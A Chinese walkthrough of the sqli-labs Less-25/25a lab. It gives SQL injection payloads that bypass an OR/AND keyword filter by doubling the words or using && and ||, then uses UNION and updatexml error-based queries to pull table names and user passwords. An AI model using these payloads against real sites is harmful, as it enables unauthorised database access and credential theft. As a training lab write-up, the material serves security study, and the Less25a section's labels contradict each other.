目录
二、Less25(GET-Error based - All your OR & AND belong to us-string single quote)
二、Less25a(GET-Blind based - All your OR & AND belong to us-Intiger based )
推荐:
一、(手工)SQL注入基本步骤:
第一步:注入点测试
第二步:分析权限
第三步:判断字段数
第四步:爆数据库名
第五步:爆表名
第六步:爆字段名
第七步:爆数据
二、Less25(GET-Error based - All your OR & AND belong to us-string single quote)
2.1、简介:(OR&AND过滤-报错回显)
请求方法:GET
方法:过滤分析+报错回显
2.2、第一步:注入点测试
输入?id=1
后面加上单引号发现报错了
说明是单引号闭合
且可利用报错回显
2.3、第二步:分析过滤
?id=1' and 1=1 --+
报错
输入?id=1' --+
回显正常
输入?id=1' anandd 1=1--+
回显正常
说明and被过滤,且只过滤了一遍
同理:
?id=1' or 1=1 --+
?id=1' oorr 1=1 --+
可以发现or也被过滤了
and 可以使用 && 替换
or 使用 || 替换
构造的语句中只要包含or或者and的都要双写
或者替换
2.4、第三步:判断字段数
?id=1' union select 1,2,3 --+
?id=1' union select 1,2,3,4 --+
报错
字段数为3
2.5、第四步:暴库
?id=1' union select 1,2,database() --+
被过滤了,那就多嵌套几层
?id=1' union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1),3 --+
或者
?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
2.6、第五步:爆表名
?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7e),1),3--+
或者
?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'--+
2.7、第六步:爆字段
?id=1' union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7e),1),3--+
2.8、第七步:爆数据
?id=-1' union select 1,2,group_concat(username,'~',passwoorrd) from security.users --+
二、Less25a(GET-Blind based - All your OR & AND belong to us-Intiger based )
2.1、简介:(Cookie注入-双引号)
请求方法:GET
方法:过滤分析+报错回显
2.2、利用过程:
尝试单引号,不行
尝试双引号,也不行
说明是数字型注入(不需要考虑不和)
后面基本上和Less25一样了